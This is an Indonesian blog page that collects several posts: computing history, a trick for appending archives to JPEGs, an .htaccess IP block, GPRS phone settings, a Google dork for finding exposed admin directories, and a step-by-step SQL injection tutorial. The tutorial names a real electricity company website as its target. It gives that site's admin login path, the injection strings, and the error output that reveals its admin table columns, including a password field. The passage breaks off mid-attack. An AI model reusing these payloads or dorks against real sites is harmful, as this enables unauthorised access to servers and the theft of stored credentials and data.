24 Maret 2008

Sejarah Ilmu Komputer
Share 0 komentar

Sejarah

Disiplin Ilmu Komputer sudah muncul sejak era tahun 1940, seiring dengan berpadunya teori algoritma dan logika matematika, serta ditemukannya komputer elektronik dengan kemampuan penyimpanan program. Adalah Alan Turing dan Kurt Godel, yang pada tahun 1930-an berhasil memadukan algoritma, logika, dan penghitungan matematika serta merealisasikannya dalam sebuah alat atau rule system. Prinsip algoritma yang digunakan adalah dari Ada Lovelace, yang dikembangkan 60 tahun sebelumnya.

Penemu algoritma sendiri yang tercatat dalam sejarah awal adalah dari seorang yang bernama Abu Abdullah Muhammad Ibn Musa al Khwarizmi. Al Khwarizmi adalah seorang ahli matematika dari Uzbekistan yang hidup di masa tahun 770-840 masehi. Di literatur barat ia lebih terkenal dengan sebutan Algorizm. Kata algoritma sendiri berasal dari sebutannya ini. Sedangkan komputer analog diciptakan oleh Vannevar Bush pada tahun 1920, dan disusul dengan komputer elektronik yang dikembangkan oleh Howard Aiken dan Konrad Zuse tahun 1930.

Kemudian John Von Neumann mendemonstrasikan salah satu karya fenomenalnya pada tahun 1945, yaitu sebuah arsitektur komputer yang disebut "von Neumann machine", dimana program disimpan di memori. Arsitektur komputer inilah yang kemudian digunakan oleh komputer modern sampai sekarang.

Tahun 1960 adalah babak baru dimulainya formalisasi Ilmu Komputer. Jurusan Ilmu Komputer pada universitas-universitas mulai marak dibangun. Disiplin ilmu baru ini kemudian terkenal dengan sebutan Ilmu Komputer (Computer Science), Teknik Komputer (Computer Engineering), Komputing (Computing), atau Informatika (Informatics).

Definisi

Seiring dengan perkembangan Ilmu Komputer, dewasa ini banyak sekali peneliti yang mencoba membuat kajian dan melakukan pendefinisian terhadap Ilmu Komputer. Bagaimanapun juga, dasar Ilmu Komputer adalah matematika dan engineering (teknik). Matematika menyumbangkan metode analisa, dan engineering menyumbangkan metode desain pada bidang ini.

CSAB [3] (Computing Sciences Accreditation Board, http://www.csab.org) membuat definisi menarik tentang Ilmu Komputer:

Ilmu Komputer adalah ilmu pengetahuan yang berhubungan dengan komputer dan komputasi. Di dalamnya terdapat teoritika, eksperimen, dan pendesainan komponen, serta termasuk didalamnya hal-hal yang berhubungan dengan:

  1. Teori-teori untuk memahami komputer device, program, dan sistem
  2. Eksperimen untuk pengembangan dan pengetesan konsep
  3. Metodologi desain, algoritma, dan tool untuk merealisasikannya
  4. Metode analisa untuk melakukan pembuktian bahwa realisasi sudah sesuai dengan requirement yang diminta

Beberapa definisi lain yang lebih abstrak adalah:

Ilmu Komputer adalah ilmu yang mempelajari tentang representasi pengatahuan (knowledge representation) dan implementasinya.

ataupun definisi

Ilmu Komputer adalah ilmu yang mempelajari tentang abstraksi dan bagaimana mengendalikan kekompleksan.

Denning mendefinisikan Ilmu Komputer dalam makalahnya yang cukup terkenal tentang disiplin ilmu komputer [1]. Makalah ini adalah laporan akhir dari proyek dan task force tentang the Core of Computer Science yang dibentuk oleh dua society ilmiah terbesar bidang komputer, yaitu ACM [4] (http://acm.org) dan IEEE Computer Society [5] (http://computer.org).

Ilmu Komputer adalah studi sistematik tentang proses algoritmik yang mengjelaskan dan mentrasformasikan informasi: baik itu berhubungan dengan teori-teori, analisa, desain, efisiensi, implementasi, ataupun aplikasi-aplikasi yang ada padanya. Pertanyaan mendasar berhubungan dengan Ilmu Komputer adalah, "Apa yang bisa diotomatisasikan secara efisien".

Kita bisa simpulkan dari persamaan pemakaian terminologi dan hakekat makna dalam definisi yang digunakan para peneliti diatas, bahwa:

Ilmu Komputer adalah ilmu pengetahuan yang berisi tentang teori, metodologi, desain dan implementasi, berhubungan dengan komputasi, komputer, dan algoritmanya dalam perspektif perangkat lunak (software) maupun perangkat keras (hardware).

Persepsi Yang Salah Tentang Ilmu Komputer

Beberapa persepsi yang salah kaprah tentang Ilmu Komputer bisa kita rangkumkan seperti dibawah:

  • Ilmu Komputer adalah ilmu yang mempelajari tentang komputer. Ilmu Komputer bukanlah ilmu yang hanya mempelajari tentang komputer, seperti juga ilmu astronomi yang bukan ilmu tentang teleskop, atau ilmu biologi adalah juga bukan ilmu yang hanya mempelajari tentang mikroskop. Komputer, teleskop dan mikroskop adalah alat dari ilmu, dan bukan ilmu itu sendiri.

  • Ilmu Komputer adalah ilmu yang mempelajari tentang bagaimana menulis program komputer.

  • Ilmu Komputer adalah ilmu yang mempelajari tentang pengunaan aplikasi-aplikasi komputer.


Dasar Klasifikasi

Ilmu komputer adalah disiplin ilmu yang melingkupi cabang ilmu yang cukup luas, dari masalah teori-teori dasar sampai teknologi aplikasi. Pengklasifikasian Ilmu Komputer biasanya merefer ke Matriks Dennings, yaitu salah satu matriks penggolongan Ilmu Komputer yang diciptakan oleh Peter J. Dennings [1][2].

Klasifikasi ini mengalami beberapa perbaikan, dimana versi terakhir adalah versi tahun 1999 [2][3]. Dalam versi terakhir ini ilmu komputer terbagi dalam 12 subbidang (versi sebelumnya adalah 9 subbidang). 12 subbidang Ilmu Komputer ini adalah:

Algoritma dan Struktur Data
(Algorithms and Data Structures)
Bahasa Pemrograman
(Programming Languages)
Arsitektur
(Architecture)
Sistem Operasi dan Jaringan
(Operating Systems and Networks)
Software Engineering Database dan Sistim Retrieval Informasi
(Database and Information Retrieval Systems)
Artificial Intelligence dan Robotik
(Artificial Intelligence and Robotics)
Grafik
(Graphics)
Human Computer Interaction Ilmu Komputasi
(Computational Sciences)
Organizational Informatics BioInformatik
(BioInformatics)

Dennings memberi catatan khusus untuk bidang BioInformatik sebagai bidang baru yang merupakan gabungan antara Ilmu Komputer dan Biologi, dan saat ini mengalami perkembangan yang cukup signifikan.

Kemudian seiring dengan peningkatan ilmu dan teknologi, ada kemungkinan matriks ini akan mengalami perbaikan lagi di kelak kemudian hari. Baris dalam matriks Denning ini menggambarkan bidang-bidang dalam ilmu komputer. Sedangkan kolom pada matriks menggambarkan paradigma bidang-bidang tersebut, yang direfleksikan dalam tiga hal: Teori (Theory), Abstraksi (Abstraction), dan Desain (Design).

  • Teori: adalah berlandaskan pada pendekatan matematika, dimana untuk mendapatkan suatu teori yang valid, harus melalui proses-proses sbb:

    1. pendefinisian (definition)
    2. pembuatan teorema (theorema)
    3. pembuktian (proof)
    4. penginterpretasian hasil (interpret result)
  • Abstraksi: atau pemodelan (modeling), adalah berlandaskan pada metode eksperimen ilmiah, dimana dalam melakukan invesitigasi terhadap suatu fenomena, harus melalui proses-proses sbb:

    1. membentuk hipotesa (form a hypothesis)
    2. membuat suatu model dan melakukan prediksi (construct a model and make a predition)
    3. mendesain eksperimen dan mengumpulkan data (design an experiment and collect data)
    4. menganalisa hasil (analyze hasil)
  • Desain: adalah berlandaskan pada pendekatann engineering (teknik), dimana pada saat mendesain sebuah sistem atau device untuk memecahkan masalah, harus melalui proses-proses sbb:

    1. menyatakan requirement (state requirements),
    2. menyatakan spesifikasi (state specifications)
    3. melakukan desain dan implementasi sistem (design and implement the system)
    4. melakukan pengetesan terhadap sistem (test the system)

Dari penjelasan diatas, bisa kita pahami bahwa yang bergerak dalam masalah penelitian ilmu komputer akan banyak berhubungan dengan dua kolom pertama matriks (Teori dan Abstraksi). Sedangkan yang bergerak dalam masalah yang lebih teknis dengan memakai pendekatan engineering, akan lebih banyak berkecimpung dalam ruang lingkup dua kolom terakhir matriks (Abstraksi dan Desain).

Klasifikasi Ilmu Komputer

Rangkumkan lengkap klasifikasi ilmu komputer berdasarkan Matriks Denning versi 1999 adalah seperti dibawah. Penulis sengaja melakukan perbaikan, penerjemahan, dan penyingkatan, untuk lebih mempermudah pemahaman terhadap klasifikasi ilmu komputer ini.



Teori Abstraksi Desain

Algoritma dan Struktur Data Teori Komputabilitas Algoritma Paralel dan Terdistribusi Program Aplikasi

Teori Komputasi Kompleks

Komputasi Paralel Algoritma Efisien dan Optimal

Teori Graf

Kriptografi

Algoritma dan Teori Probabilistik

Bahasa Pemrograman Bahasa Formal dan Automata BNF Bahasa Pemrograman

Turing Machines

Metode Parsing, Compiling, Interpretation

Formal Semantics Translator, Kompiler, Interpreter

Arsitektur Aljabar Boolean Arsitektur Nueman Produk Hardware (PC, Superkomputer, Mesin Von Neumann)

Teori Coding Hardware Reliability

Teori Switching Finite State Machine Sistem CAD dan Simulasi Logika

Teori Finite State Machine Model Sirkuit, Data Path, Struktur Kontrol

Sistem Operasi dan Jaringan Teori Concurrency Manajemen Memori, Job Scheduling Produk OS (UNIX, Windows, Mach, dsb)

Teori Scheduling Model Komputer Terdistribusi File dan File Sistem

Teori Manajemen Memori Networking (Protokol, Naming, dsb) Pustaka untuk Utilities (Editor, Formatter, Linker, dsb)

Software Engineering Teori Reliability Metode Spesifikasi Bahasa Spesifikasi

Program Verification and Proof Metode Otomatisasi Pengembangan Program Metodologi Pengembangan Software

Temporal Logic Tool Pengembangan Software Tool untuk Pengembangan Software

Database dan Sistim Retrieval Informasi Relational Aljabar dan Kalkulus Data Model Teknik Pendesainan Database (Relational, Hierarchical, Network, dsb)

Teori Dependency

Teori Concurrency Skima Database Teknik Pendesainan Database Sistem (Ingres, Dbase, Oracle, dsb)

Performance Analysis

Sorting dan Searching Representasi File untu Retrieval Hypertext System

Statistical Inference

Artificial Intelligence dan Robotik Teori Logika Knowledge Representation Logic Programming (Prolog)

Semantik dan Sintatik Model untuk Natural Language Metode Pencarian Heuristic Neural Network

Conceptual Dependency Model Reasoning dan Learning Sistem Pakar

Kinematics and Dynamics of Robot Motion Model Memori Manusia, Autonomous Learning Teknik Pendesaian Software untuk Logic Programming

Grafik Teori Grafik dan Warna Algoritma Komputer Grafik Pustaka untuk Grafik

Geometri Dimensi Dua atau Lebih Model untuk Virtual Reality Grafik Standar

Teori Chaos Metode Komputer Grafik Image Enhacement System

Human Computer Interaction Risk Analysis Pattern Recognition Flight Simulation

Cognitive Psychology Sistem CAD Usability Engineering

Ilmu Komputasi Number Theory Discrete Approximations, Fast Fourier Transform and Poisson Solvers Pustaka dan Paket untuk Tool Penelitian (Chem, Macsyma, Mathematica, Maple, Reduce, dsb)

Binary Representation Backward Error Propagation

Teori Quantum Finite Element Models,

Organizational Informatics Organizational Science Model dan Simlasi berhubungan dengan organizational informatics Management Information Systems

Decision Support Systems

Decision Sciences

Organizational Dynamics

Bioinformatik Teori Komputasi Model Komputasi DNA Kimia Organic Memory Devices

Ilmu Biologi Protipe Retina dari Silikon Proyek Database Genom Manusia

Medicine Model Database Genom Manusia Analisa Komputer Terhadap Struktur Enzim untuk Kesehatan

ACM Computing Classification System (CCS)

Association for Computing Machinary (ACM) sebagai asosiasi ilmiah bidang komputer tertua di dunia juga menyusun sistem klasifikasi untuk bidang komputasi (computing), yang terkenal dengan sebutan ACM Computing Classification System (CSS). ACM Computing Classification System terbagi menjadi tiga level, dimana sistem penyusunannya mirip dengan Dewey Decimal Classification System (DCC) yang saat ini digunakan sebagai standar penyusunan katalog buku di perpustakaan-perpustakaan. Sistem Klasifikasi ini terbagi menjadi tiga besar, berdasarkan tahun dikeluarkannya. Klasifikasi selengkapnya adalah seperti dibawah.

  1. Sistem Klasifikasi 1998
  2. Sistem Klasifikasi 1991
  3. Sistem Klasifikasi 1964
Sumber : http://ikc.depsos.go.id

Read More | Goto Top

Sisipkan File Rahasia pd File JPEG
Share 0 komentar

Dengan membaca judul diatas bahwa hal yang akan kita lakukan yaitu bagaimana menyisipkan ( embed ) file-file kita dibalik file gambar ( image ), bagaimana caranya ? sebenarnya bisa kita lakukan dengan mudah, tidak perlu suatu metode steganography ataupun algoritma lainnya yang perlu diterapkan. Sebagai contoh, kita bisa menyisipkan mp3, file dokumen, file zip, webpage, video klip, file pdf, atau file dengan format apa saja di dalam file JPEG ( image file ).

Hal ini bisa kita lakukan sebagai contoh misalnya ingin menyembunyikan file-file “rahasia” kita agar tidak diketahui oleh orang lain dimana yang.orang lain tahu adalah hanyalah file gambar format JPEG tanpa disadari bahwa dibalik itu ada sejumlah file sisipan kita ataupun jika kita coba menggunakan software-software photo editor bahkan apabila coba melihat file gambar ini sebagai thumbnail rasanya akan sangat sulit membedakan bahwa file gambar tersebut telah disisipi file-file sisipan kita.

## langkah-langkahnya ##
Hanya dengan menggunakan DOS command, berikut trik yang bisa kita lakukan untuk hal tersebut diatas :

  1. Siapkan 1 file JPEG image (*.jpg ) dan file-file yang ingin disisipkan (*.*) dalam satu direktori yang sama.
  2. Lakukan proses RAR terhadap file-file kita yang ingin disisipkan untuk menjadi 1 file( bisa gunakan WinRar untuk proses ini )
  3. DOS Command yang kita gunakan adalah copy, dalam hal ini sebagai contoh saya menggunakan format RAR untuk file-file yang ingin disisip yaitu dengan command sebagai berikut : copy /b file.jpg + fileygdisisip.rar filebaru.jpg
  4. Setelah dilakukan copy diatas, kita sekarang sudah mempunyai file baru dengan nama filebaru.jpg dimana dalam file ini telah disisipkan fileygdisisip.rar.
  5. Untuk restore / keluarkan file yang telah disisip tersebut, kita hanya tinggal merename filebaru.jpg tersebut. Gunakan kembali DOS command yaitu rename, sebagai contoh : rename filebaru.jpg filehasilsisipan.rar

Read More | Goto Top

Blok IP Pengunjung
Share 0 komentar

Karena alasan tertentu, mungkin webmaster/admin perlu memblokir IP address pengunjung web site. Untuk tujuan tersebut, anda dapat menggunakan konfigurasi file .htaccess.



Caranya anda cukup menuliskan
deny from “alamat ip”

Misal untuk memblokir alamat ip 222.124.24.107 anda bisa menuliskannya:

===================
deny from 222.124.24.107
===================
pada file .htaccess


Read More | Goto Top

Pencurian Data pada Web Server
Share 0 komentar

Internet memang memberi kita banyak kemudahan. Salah satunya dengan memanfaatkan web server. Pada web server kita dapat menyimpan data dan dokumen dan bisa kita akses kapanpun darimanapun dengan menggunakan akses internet. Menyimpan data di webserver banyak dilakukan karena membantu mobilitas kerja.Namun demikian, kemudahan itu tidak sesederhana dengan apa yang kita lihat. Data yang tersimpan pada web server memiliki potensi besar untuk dibaca bahkan dicuri oleh orang lain. Bagaimana jika data tersebut merupakan dokumen penting dari perusahaan yang tidak boleh diketahui oleh orang lain? Lebih-lebih jika perusahaan kompetitor menyewa seorang hacker untuk mencuri data di web server perusahaan kita. Bahaya.



Pertanyaannya adalah apakah pencurian ini bisa terjadi? Jawabannya memang relatif. Tetapi bukan berarti data tersebut dijamin tidak bisa diakses oleh orang yang tidak kita ijinkan. Dengan teknologi segala sesuatunya menjadi mungkin.

Di internet, pencurian data dapat dilakukan dengan cara yang cukup mudah, bahkan bisa dilakukan dengan menggunakan teknik dasar yang sederhana. Boleh percaya boleh tidak, orang dapat melakukan pencurian data hanya dengan menggunakan search engine. Tulisan berikutnya tidak bermaksud untuk mengajarkan cara untuk melakukan pencurian data, tetapi lebih kepada update knowledge agar kita dapat melakukan pencegahan pencurian data milik kita yang tersimpan dalam web server.

Dengan teknik berikut kita akan melakukan pengujian dengan apa yang dikenal oleh orang orang dari komunitas ’underground’ sebagai Teknik Traversal. Dalam konteks ini teknik traversal secara sederhana dapat diartikan sebagai ”melintas” suatu tempat. Tentunya tempat yang dimaksud adalah server penyimpan data. Mereka dapat menggunakan teknik traversal untuk mengembangkan kesempatan yang kecil menjadi kemungkinan yang jauh lebih besar.

Sebagai ilustrasi, dengan mengetahui bagaimana teknik traversal dapat melakukan pencurian data, mari kita buktikan apa yang dapat dilakukan oleh teknik ini. Kita dapat menggunakan search engine Google (www.google.com) untuk memulainya. Pada layar Google, ketikan query code berikut: intitle:index.of inurl:”/admin/*”. Dalam waktu sekejap, Google akan memberikan ribuan hasil pencarian berisi situs-situs yang menampilkan folder admin.

Gambar di atas adalah hasil dari query yang kita minta pada Google. Pilihlah salah satu URL tersebut lalu mengkliknya.

Tampilan yang dihasilkan merupakan direktori paling dasar dari result yang dihasilkan oleh teknik traversal. Mereka dapat eksplorasi tiap dan semua directory, subdirektori bahkan ke direktori admin untuk mencari file yang mereka inginkan. Dengan melakukan kombinasi dan modifikasi pada query pada engine Google mereka dapat lebih leluasa untuk berjalan-jalan pada situs target. Misalnya dengan mengganti kata “admin” menjadi “student” atau “public”.

Kelebihan lainnya dari teknik traversal ini akan mengijinkan mereka untuk memanfaatkan ‘cacat’ yang ada pada webserver dan berkeliling ke pohon direktori di luar direktori web server.

Sebagai contoh, jika web server terinstall di dalam direktori /var/www dan data publik ditempatkan di direktori /var/www/htdocs, secara default mereka yang melakukan serangan pada top level directory pada web server dapat melihat file yang ditempatkan di /var/www/htdocs. Pada keadaan normal, web server tidak akan menginjinkan orang untuk melihat file yang ditempatkan pada direktori /var atau direktori /var/www. Tapi dengan menggunakan kombinasi query, masih banyak web server yang menginjinkan mereka untuk berjalan-jalan di dalamnya.

Coba kita kita pilih salah satu URL link yang dihasilkan oleh Google. Kita dapat bereksplorasi di dalamnya bukan? Bahkan kita bisa masuk ke dalam subdirektori user. Cobalah dibayangkan saat ini Anda sedang ’berjalan-jalan’ pada web server milik sendiri dimana Anda menyimpan data-data penting di dalamnya.

Sekali lagi saya katakan bahwa dengan teknik yang sederhana seperti itu saja bisa melakukan pencurian data, apalagi jika mereka menggunakan teknik yang lebih tinggi. Jangankan data dalam web server, data yang ada didalam komputer pribadi kita pun bisa saja dicuri.

Sebagai informasi tambahan, di internet bahkan banyak sekali tools yang dapat dipergunakan untuk membantu melakukan pencurian data. Untuk lebih jelas tentang hal ini, ada baiknya Anda memperdalam pengetahuan mengenai web security. Dengan demikian kita bisa melakukan tindakan pencegahan pencurian data baik di web server maupun data di komputer pribadi kita. Untuk itu kita dapat mencari informasi dari situs yang terkait dengan web security.

Bagi Anda yang sering menyimpan data di web server (pengguna saja) sebaiknya mendiskusikan hal ini ke bagian technical support agar dapat melakukan pencegahan dari tindakan pencurian.


Read More | Goto Top

Setting GPRS Ponsel
Share 0 komentar

Setting GPRS Matrix / Mentari
Profile Name : satelindoHomepage URL : http://wap.matrix-centro.comIP Address : 202.152.162.250:9200Bearer : GPRSUser Name :Password :APN : satelindogprs.com
Activate GPRS : ACTGPRS ACT GPRS kirim ke 888Call Center : (021) 5438 8888 atau 222 (dari handphone)
Setting GPRS simPATI (Telkomsel)
1. Menggunakan ponsel dengan fasilitas GPRS.
2. Masih memiliki pulsa minimum Rp. 500,- dibawah nilai tersebut Anda tidak dapat menggunakan layanan GPRS, MMS maupun SMS.
3. Mendaftar sebagai pelanggan GPRS, yang hanya dapat dilakukan melalui SMS.
Caranya :- Ketik pesan SMS : GPRS [Nomor Kartu]- Contoh : GPRS 6210009922069556- Kirim ke : 6616


Catatan :- Tarif pesan kirim SMS : Rp. 350 ,- / pesan.- Nomor kartu merupakan nomor ICCID (Integrated Circuit Card Identification) yang terdiri dari 16 (enam belas) digit nomor dan terdapat di belakang chip kartu simPATI Nusantara Anda.- Isi pesan tidak tergantung pada huruf besar atau kecil (non case sensitive).- Dalam pengetikan nomor kartu tidak boleh ada spasi.
4. Sistem akan memberikan pesan notifikasi SMS kepada Anda setelah beberapa waktu untuk memberitahukan bahwa permintaan aktivasi sedang diproses : “Your request for GPRS Setup already received. Please wait for max. 48 hours for succesfull activation notification message.”
5. Pemrosesan aktivasi membutuhkan waktu maksimum 48 jam.
6. Setelah proses aktivasi sukses dilakukan, sistem akan memberitahukan kepada Anda melalui SMS dari 6616 : “Welcome to GPRS Service! Your GPRS service has been activated. Please visit www.telkomsel.com for more information”
7. Melakukan setting pada terminal komunikasi yang digunakan dengan parameter-parameter seperti berikut :
• Connection Name : APN Telkomsel• Data Bearer : GPRS• Access Point Name : telkomsel• Username : wap• Prompt Password : No• Password : wap123• Authentication : Normal• Homepage : http://wap.telkomsel.com• WAP Gateway IP Address : 10.1.89.130• Port : 9201 (standard), 8000 (proxy)
8. Berada di wilayah layanan GPRS.
9. Untuk menggunakan WAP Telkomsel dengan GPRS, pastikan Anda telah terdaftar pada www.telkomsel.com.
10. Untuk menggunakan WAP Telkomsel dengan GPRS, pastikan Anda melakukan setting handset untuk menggunakan Access Point Name (APN) telkomsel.
Setting GPRS kartuHALO (Telkomsel)
1. Menggunakan ponsel dengan fasilitas GPRS.
2. Mendaftar sebagai pelanggan GPRS, pendaftaran dapat dilakukan di GraPARI atau hubungi Caroline di nomor 111, layanan bebas pulsa dari kartuHALO Anda, atau dapat dilakukan melalui SMS :
Caranya :- Ketik pesan SMS : GPRS- Contoh : GPRS- Kirim ke : 6616
Catatan :- Tarif pesan kirim SMS : Rp. 250 ,- / pesan.
3. Sistem akan memberikan pesan notifikasi SMS kepada Anda setelah beberapa waktu untuk memberitahukan bahwa permintaan aktivasi sedang diproses : “Your request for GPRS Setup already received. Please wait for max. 48 hours for succesfull activation notification message.”
4. Pemrosesan aktivasi membutuhkan waktu maksimum 48 jam.
5. Setelah proses aktivasi sukses dilakukan, sistem akan memberitahukan kepada Anda melalui SMS dari 6616 : “Welcome to GPRS Service! Your GPRS service has been activated. Please visit www.telkomsel.com for more information”
6. Melakukan setting pada terminal komunikasi yang digunakan dengan parameter-parameter seperti berikut :
• Connection Name : APN Telkomsel• Data Bearer : GPRS• Access Point Name : telkomsel• Username : wap• Prompt Password : No• Password : wap123• Authentication : Normal• Homepage : http://wap.telkomsel.com• WAP Gateway IP Address : 10.1.89.130• Port : 9201 (standard), 8000 (proxy)
7. Berada di wilayah layanan GPRS.
8. Untuk menggunakan WAP Telkomsel dengan GPRS, pastikan Anda telah terdaftar pada www.telkomsel.com.
9. Untuk menggunakan WAP Telkomsel dengan GPRS, pastikan Anda melakukan setting handset untuk menggunakan Access Point Name (APN) telkomsel.
Setting GPRS XL
* Setting GPRS/MMS Secara Otomatis
Kirimkan SMS berikut ke 9667, hanya Rp. 350,- (sudah termasuk PPN untuk pengguna bebas dan belum termasuk PPN untuk pengguna Xplor).o Untuk setting GPRS:GPRSo Untuk setting MMS:MMS
Penulisan merk dan tipe ponsel (tidak case sensitive) :
MERK
TIPE (pilih salah satu)
NOKIA atau NOK
3100, 3200, 3220, 3300, 3510, 3510i, 3520, 3530, 3560, 3650, 3660, 5100, 6100, 6108, 6200, 6220, 6225, 6230, 6340i, 6600, 7610, 6610, 6610i, 6650, 6800, 6810, 6820, 7200, 7210, 7250, 7600, 7650, 7700, 8910i, N-Gage, N-Gage QD, 9500
SONYERICSSON atau ERICSSON atau SE
T39m, T68, T68i, T230, T300, T310, T610, T630, P800, P900, P910, Z200, Z600, K700i, K500i, S700i
SIEMENS
S57, SL55, SX1, C62, S65, SL65, CX65
SAMSUNG
X100, X600, E700
Untuk aktivasi GPRS/MMS di sistem, hubungi Customer Service XL di 818 melalui nomor bebas/Xplor Anda (bebas pulsa) atau 021 57959818 melalui nomor lainnya (dikenakan tarif sesuai dengan yang berlaku).
* Setting GPRS/MMS Secara Manual
Setting Parameter GPRS :
o Connection name : XL GPRSo Data bearer : GPRSo Access point name : www.xlgprs.neto User name : xlgprso Prompt Password : Noo Password : proxlo Authentication : Normalo Homepage : http://wap.lifeinhand.como Connection Security :- offo Session mode : permanento Phone IP address : Automatico Primary name server : 0.0.0.0o Secondary name server : 0.0.0.0o WAP Gateway IP Address : 202.152.240.50o Port : 9201 (standard), 8080 (proxy)
Setting GPRS IM3
* Setting GPRS Secara Otomatis
Kirim SMS ke 3939 dengan isi pesan :
GPRS [Merk HP] [Type HP]
Contoh :- GPRS Nokia 7650- GPRS Ericsson T68- GPRS SE P800
* Setting GPRS Secara Manual
Setting Parameter GPRS :
o Connection name : M3-GPRSo Access point name : www.indosat-m3.neto User name : gprso Password : im3o Authentication : Normalo Homepage : http://wap.indosat-m3.neto IP address : 010.019.019.019o Port : 9201 (standard), 8080 (proxy)
dari http://www.studiohandphone.com/setting_gprs.php


Read More | Goto Top

Apa itu Komputer ?
Share 0 komentar

Definisi

Komputer berasal dari bahasa latin computare yang mengandung arti menghitung. Karena luasnya bidang garapan ilmu komputer, para pakar dan peneliti sedikit berbeda dalam mendefinisikan termininologi komputer.

  • Menurut Hamacher [1], komputer adalah mesin penghitung elektronik yang cepat dan dapat menerima informasi input digital, kemudian memprosesnya sesuai dengan program yang tersimpan di memorinya, dan menghasilkan output berupa informasi.

  • Menurut Blissmer [2], komputer adalah suatu alat elektonik yang mampu melakukan beberapa tugas sebagai berikut:
    - menerima input
    - memproses input tadi sesuai dengan programnya
    - menyimpan perintah-perintah dan hasil dari pengolahan
    - menyediakan output dalam bentuk informasi

  • Sedangan Fuori [3] berpendapat bahwa komputer adalah suatu pemroses data yang dapat melakukan perhitungan besar secara cepat, termasuk perhitungan aritmetika dan operasi logika, tanpa campur tangan dari manusia.

Untuk mewujudkan konsepsi komputer sebagai pengolah data untuk menghasilkan suatu informasi, maka diperlukan sistem komputer (computer system) yang elemennya terdiri dari hardware, software dan brainware. Ketiga elemen sistem komputer tersebut harus saling berhubungan dan membentuk kesatuan. Hardware tidak akan berfungsi apabila tanpa software, demikian juga sebaliknya. Dan keduanya tiada bermanfaat apabila tidak ada manusia (brainware) yang mengoperasikan dan mengendalikannya.

  1. Hardware atau Perangkat Keras: peralatan yang secara fisik terlihat dan bisa djamah.

  2. Software atau Perangkat Lunak: program yang berisi instruksi/perintah untuk melakukan pengolahan data.

  3. Brainware: manusia yang mengoperasikan dan mengendalikan sistem komputer.

Penggolongan Komputer

Literatur terbaru tentang komputer melakukan penggolongan komputer berdasarkan tigal hal: data yang diolah, penggunaan, kapasitas/ukurannya, dan generasinya.

Berdasarkan Data Yang Diolah

  1. Komputer Analog
  2. Komputer Digital
  3. Komputer Hybrid

Berdasarkan Penggunannya

  1. Komputer Untuk Tujuan Khusus (Special Purpose Computer)
  2. Komputer Untuk Tujuan Umum (General Purpose Computer)

Berdasarkan Kapasitas dan Ukurannya

  1. Komputer Mikro (Micro Computer)
  2. Komputer Mini (Mini Computer)
  3. Komputer Kecil (Small Computer)
  4. Komputer Menengah (Medium Computer)
  5. Komputer Besar (Large Computer)
  6. Komputer Super (Super Computer)

Berdasarkan Generasinya

  1. Komputer Generasi Pertama (1946-1959)
  2. Komputer Generasi Kedua (1959-1964)
  3. Komputer Generasi Ketiga (1964-1970)
  4. Komputer Generasi Keempat (1979-sekarang)
  5. Komputer Generasi Kelima
Sumber: http://ikc.depsos.go.id
Download Atrikel Sejarah Komputer Lengkap

Read More | Goto Top

Bobol Web dgn SQL Injection
Share 0 komentar

Hingga Maret 2006, masih saja terdapat situs web di Republik Indonesia yang dibobol dengan teknik SQL Injection. Anda tahu betapa berbahaya bug yang satu ini ? Berikut akan kita sajikan step by step SQL Injection ini yang diambil dari langsung tulisan iko (iko94@yahoo.com)

Catatan : kita akan membatasi bahasan pada SQL Injection di MS-SQL Server.
Kita akan mengambil contoh di site www.pln-wilkaltim.co.id


Ada dua kelemahan di site ini, yaitu:
1. Tabel News
2. Tabel Admin

Langkah pertama, kita tentukan lubang mana yang bisa di-inject
dengan jalan berjalan-jalan (enumeration) dulu di site tsb.
Kita akan menemukan 2 model cara input parameter, yaitu dengan
cara memasukkan lewat input box dan memasukkannya lewat
alamat URL.

Kita ambil yang termudah dulu, dengan cara input box. Kemudian kita cari kotak login yang untuk admin.
Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.asp
Langkah pertama untuk menentukan nama tabel dan fieldnya,
kita inject kotak NIP dengan perintah (password terserah, cabang biarkan aja): ‘ having 1=1–
jangan lupa untuk menuliskan tanda kutip tunggal dan tanda minus dobel (penting).
Arti kedua tanda tsb bisa anda cari di tutorial SQL Injection
di www.neoteker.or.id ini (lihat arsip sebelumnya).
Kemudian akan keluar pesan error:
——————–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
‘T_ADMIN.NOMOR’ is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/sipm/admin/dologin.asp, line 7
——————–
Keluarlah nama field pertama kita !!!
Catat nama tabel : T_ADMIN
Catat nama field : NOMOR

Kemudian kita akan mencari nama field-field berikutnya,
beserta nama tabel yang mungkin berbeda-beda.
Kita inject di kotak NIP (password terserah):
‘ group by T_ADMIN.NOMOR having 1=1–
Akan keluar pesan error:
——————–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
‘T_ADMIN.NIP’ is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
——————–
Artinya itulah nama tabel dan field kedua kita.
Catat : T_ADMIN.NIP

Kemudian kita cari field ke tiga :
‘ group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1–
Akan keluar pesan error:
——————–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
‘T_ADMIN.PASSWORD’ is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
——————–
Catat field ke tiga : T_ADMIN.PASSWORD

Lakukan langkah di atas sampai kita menemukan field terakhir.

Berikut adalah pesan error yang terjadi, jika kita mengecek
field terakhir dengan meng-inject:
‘ group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,
T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ADMIN.EMAIL
having 1=1–
(catatan : kalimat harus 1 baris, tidak dipotong)
——————–
- NIP atau Password atau Unit Anda salah !! -
——————–
Sukses !!! Kita berhasil menemukan field terakhir.
Daftar kolom (field):
T_ADMIN.NOMOR
T_ADMIN.NIP
T_ADMIN.PASSWORD
T_ADMIN.NAMA
T_ADMIN.KD_RANTING
T_ADMIN.ADDRESS
T_ADMIN.EMAIL
Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),
ini akan mempermudah proses kita selanjutnya.

Langkah berikutnya, kita menentukan jenis struktur field-
field tersebut di atas.

Kita inject di kotak NIP (pass terserah) :
